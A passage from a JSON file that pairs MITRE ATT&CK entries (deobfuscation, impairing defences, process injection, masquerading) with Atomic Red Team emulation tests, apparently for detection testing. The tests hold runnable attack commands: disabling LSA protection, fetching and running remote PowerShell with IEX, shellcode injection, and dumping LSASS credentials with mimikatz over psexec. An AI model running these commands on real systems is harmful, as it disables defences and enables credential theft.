- "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
- "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017."
- },
- {
- "source_name": "Malwarebytes Targeted Attack against Saudi Arabia",
- "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/",
- "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017."
- },
- {
- "source_name": "Carbon Black Obfuscation Sept 2016",
- "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
- "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b
command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)",
- "modified": "2022-05-05T04:05:42.508Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Deobfuscate/Decode Files or Information",
- "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "File: File Modification",
- "Script: Script Execution",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host Intrusion Prevention Systems",
- "Signature-based Detection",
- "Network Intrusion Detection System"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1140"
- },
- "atomic_tests": [
- {
- "name": "Deobfuscate/Decode Files Or Information",
- "auto_generated_guid": "dc6fe391-69e6-4506-bd06-ea5eeb4082f8",
- "description": "Encode/Decode executable\nUpon execution a file named T1140_calc_decoded.exe will be placed in the temp folder\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable": {
- "description": "name of executable",
- "type": "path",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "certutil -encode #{executable} %temp%\\T1140_calc.txt\ncertutil -decode %temp%\\T1140_calc.txt %temp%\\T1140_calc_decoded.exe\n",
- "cleanup_command": "del %temp%\\T1140_calc.txt >nul 2>&1\ndel %temp%\\T1140_calc_decoded.exe >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Certutil Rename and Decode",
- "auto_generated_guid": "71abc534-3c05-4d0c-80f7-cbe93cb2aa94",
- "description": "Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable": {
- "description": "name of executable/file to decode",
- "type": "path",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "copy %windir%\\system32\\certutil.exe %temp%\\tcm.tmp\n%temp%\\tcm.tmp -encode #{executable} %temp%\\T1140_calc2.txt\n%temp%\\tcm.tmp -decode %temp%\\T1140_calc2.txt %temp%\\T1140_calc2_decoded.exe\n",
- "cleanup_command": "del %temp%\\tcm.tmp >nul 2>&1\ndel %temp%\\T1140_calc2.txt >nul 2>&1\ndel %temp%\\T1140_calc2_decoded.exe >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1562": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "IaaS",
- "Linux",
- "macOS",
- "Containers",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529",
- "type": "attack-pattern",
- "created": "2020-02-21T20:22:13.470Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1562",
- "url": "https://attack.mitre.org/techniques/T1562"
- }
- ],
- "modified": "2022-03-08T21:55:28.348Z",
- "name": "Impair Defenses",
- "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Firewall: Firewall Rule Modification",
- "Cloud Service: Cloud Service Disable",
- "Windows Registry: Windows Registry Key Deletion",
- "Service: Service Metadata",
- "Sensor Health: Host Status",
- "Process: Process Creation",
- "Process: Process Termination",
- "Windows Registry: Windows Registry Key Modification",
- "Cloud Service: Cloud Service Modification",
- "Firewall: Firewall Disable",
- "Script: Script Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Signature-based detection",
- "Host intrusion prevention systems",
- "File monitoring",
- "Digital Certificate Validation",
- "Host forensic analysis",
- "Log analysis",
- "Firewall"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1562"
- },
- "atomic_tests": [
- {
- "name": "Windows Disable LSA Protection",
- "auto_generated_guid": "40075d5f-3a70-4c66-9125-f72bee87247d",
- "description": "The following Atomic adds a registry entry to disable LSA Protection.\n\nThe LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.\nUpon successful execution, the registry will be modified and RunAsPPL will be set to 0, disabling Lsass protection.\nhttps://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#how-to-disable-lsa-protection\nhttps://blog.netwrix.com/2022/01/11/understanding-lsa-protection/\nhttps://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/ \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA /v RunAsPPL /t REG_DWORD /d 0 /f\n",
- "cleanup_command": "reg delete HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA /v RunAsPPL /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1055.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
- "type": "attack-pattern",
- "created": "2020-01-14T01:28:32.166Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.003",
- "url": "https://attack.mitre.org/techniques/T1055/003"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- }
- ],
- "modified": "2021-10-18T12:22:50.800Z",
- "name": "Thread Execution Hijacking",
- "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread
. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread
, VirtualAllocEx
, WriteProcessMemory
, SetThreadContext
, then ResumeThread
respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Modification",
- "Process: Process Access"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1055.003"
- },
- "atomic_tests": [
- {
- "name": "Thread Execution Hijacking",
- "auto_generated_guid": "578025d5-faa9-4f6d-8390-aae527d503e1",
- "description": "This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the \"Atomic Red Team\" caption after one or two seconds. ",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055.003\\bin\\InjectContext.exe",
- "cleanup_command": "Stop-Process $notepad.pid",
- "name": "powershell"
- }
- }
- ]
- },
- "T1036": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oleg Kolesnikov, Securonix",
- "Nick Carr, Mandiant",
- "David Lu, Tripwire",
- "Felipe Esp\u00f3sito, @Pr0teus",
- "Elastic",
- "Bartosz Jerzman"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
- "created": "2017-05-31T21:30:38.511Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1036",
- "url": "https://attack.mitre.org/techniques/T1036"
- },
- {
- "source_name": "Twitter ItsReallyNick Masquerading Update",
- "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457",
- "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."
- },
- {
- "source_name": "Elastic Masquerade Ball",
- "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf",
- "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016."
- },
- {
- "source_name": "LOLBAS Main Site",
- "url": "https://lolbas-project.github.io/",
- "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/177.html",
- "source_name": "capec",
- "external_id": "CAPEC-177"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",
- "modified": "2022-05-05T04:56:08.978Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Masquerading",
- "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Scheduled Job: Scheduled Job Metadata",
- "Service: Service Creation",
- "File: File Modification",
- "Service: Service Metadata",
- "Command: Command Execution",
- "Process: Process Metadata",
- "File: File Metadata",
- "Image: Image Metadata",
- "Scheduled Job: Scheduled Job Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1036"
- },
- "atomic_tests": [
- {
- "name": "System File Copied to Unusual Location",
- "auto_generated_guid": "51005ac7-52e2-45e0-bdab-d17c6d4916cd",
- "description": "It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy-item \"$env:windir\\System32\\cmd.exe\" -destination \"$env:allusersprofile\\cmd.exe\"\nstart-process \"$env:allusersprofile\\cmd.exe\"\nsleep -s 5 \nstop-process -name \"cmd\" | out-null",
- "cleanup_command": "remove-item \"$env:allusersprofile\\cmd.exe\" -force -erroraction silentlycontinue",
- "name": "powershell"
- }
- },
- {
- "name": "Malware Masquerading and Execution from Zip File",
- "auto_generated_guid": "4449c89b-ec82-43a4-89c1-91e2f1abeecc",
- "description": "When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "url": {
- "description": "Location of zip file",
- "type": "url",
- "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/T1036.zip"
- }
- },
- "dependencies": [
- {
- "description": "Zip file must be present.",
- "prereq_command": "if (Test-Path $env:userprofile\\Downloads\\T1036.zip) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -OutFile \"$env:userprofile\\Downloads\\T1036.zip\" #{url}\n"
- }
- ],
- "executor": {
- "command": "Expand-Archive -Path $env:userprofile\\Downloads\\T1036.zip -DestinationPath $env:userprofile\\Downloads\\T1036 -Force\ncd $env:userprofile\\Downloads\\T1036\ncmd /c $env:userprofile\\Downloads\\T1036\\README.cmd >$null 2>$null",
- "cleanup_command": "taskkill /IM Calculator.exe /f >$null 2>$null\nRemove-Item $env:userprofile\\Downloads\\T1036 -recurse -ErrorAction Ignore",
- "name": "powershell"
- }
- }
- ]
- },
- "T1055": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Anastasios Pingios",
- "Christiaan Beek, @ChristiaanBeek",
- "Ryan Becwar"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:47.843Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055",
- "url": "https://attack.mitre.org/techniques/T1055"
- },
- {
- "external_id": "CAPEC-640",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/640.html"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
- "source_name": "ArtOfMemoryForensics"
- },
- {
- "url": "https://www.gnu.org/software/acct/",
- "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
- "source_name": "GNU Acct"
- },
- {
- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
- "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
- "source_name": "RHEL auditd"
- },
- {
- "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
- "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
- "source_name": "Chokepoint preload rootkits"
- },
- {
- "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
- "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
- "source_name": "Microsoft Sysmon v6 May 2017"
- }
- ],
- "modified": "2022-03-08T20:59:21.118Z",
- "name": "Process Injection",
- "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, QueueUserAPC
/NtQueueApcThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Modification",
- "File: File Metadata",
- "Process: Process Modification",
- "Process: OS API Execution",
- "Process: Process Access"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "identifier": "T1055"
- },
- "atomic_tests": [
- {
- "name": "Shellcode execution via VBA",
- "auto_generated_guid": "1c91e740-1729-4329-b779-feba6e71d048",
- "description": "This module injects shellcode into a newly created process and executes. By default the shellcode is created,\nwith Metasploit, for use on x86-64 Windows 10 machines.\n\nNote: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office\nis required.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "txt_path": {
- "description": "Path to file containing VBA macro to run",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The 64-bit version of Microsoft Office must be installed\n",
- "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n"
- },
- {
- "description": "#{txt_path} must exist on disk at specified location\n",
- "prereq_command": "if (Test-Path #{txt_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{txt_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt\" -OutFile \"#{txt_path}\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"#{txt_path}\" -officeProduct \"Word\" -sub \"Execute\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "Remote Process Injection in LSASS via mimikatz",
- "auto_generated_guid": "3203ad24-168e-4bec-be36-f79b13ef8a83",
- "description": "Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).\nEspecially useful against domain controllers in Active Directory environments.\nIt must be executed in the context of a user who is privileged on remote `machine`.\n\nThe effect of `/inject` is explained in \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "machine": {
- "description": "machine to target (via psexec)",
- "type": "string",
- "default": "DC1"
- },
- "mimikatz_path": {
- "description": "Mimikatz windows executable",
- "type": "path",
- "default": "%tmp%\\mimikatz\\x64\\mimikatz.exe"
- },
- "psexec_path": {
- "description": "Path to PsExec",
- "type": "string",
- "default": "C:\\PSTools\\PsExec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- },
- {
- "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n",
- "prereq_command": "if (Test-Path \"#{psexec_path}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_path}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_path}\" -Force\n"
- }
- ],
- "executor": {
- "command": "#{psexec_path} /accepteula \\\\#{machine} -c #{mimikatz_path} \"lsadump::lsa /inject /id:500\" \"exit\"\n",
- "name": "command_prompt",
- "elevation_required": false
- }
- },
- {
- "name": "Section View Injection",
- "auto_generated_guid": "c6952f41-6cf0-450a-b352-2ca8dae7c178",
- "description": "This test creates a section object in the local process followed by a local section view.\nThe shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. \nA thread is then created in the target process, using the remote section view as start address.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\n",
- "cleanup_command": "Stop-Process $notepad.pid",
- "name": "powershell"
- }
- }
- ]
- },
- "T1205": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lee",
- "Josh Day, Gigamon"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "2.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1205",
- "url": "https://attack.mitre.org/techniques/T1205"
- },
- {
- "source_name": "Bleeping Computer - Ryuk WoL",
- "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/",
- "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."
- },
- {
- "source_name": "AMD Magic Packet",
- "url": "https://www.amd.com/system/files/TechDocs/20213.pdf",
- "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021."
- },
- {
- "source_name": "Mandiant - Synful Knock",
- "url": "https://www.mandiant.com/resources/synful-knock-acis",
- "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Hartrell cd00r 2002",
- "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
- "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "GitLab WakeOnLAN",
- "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN",
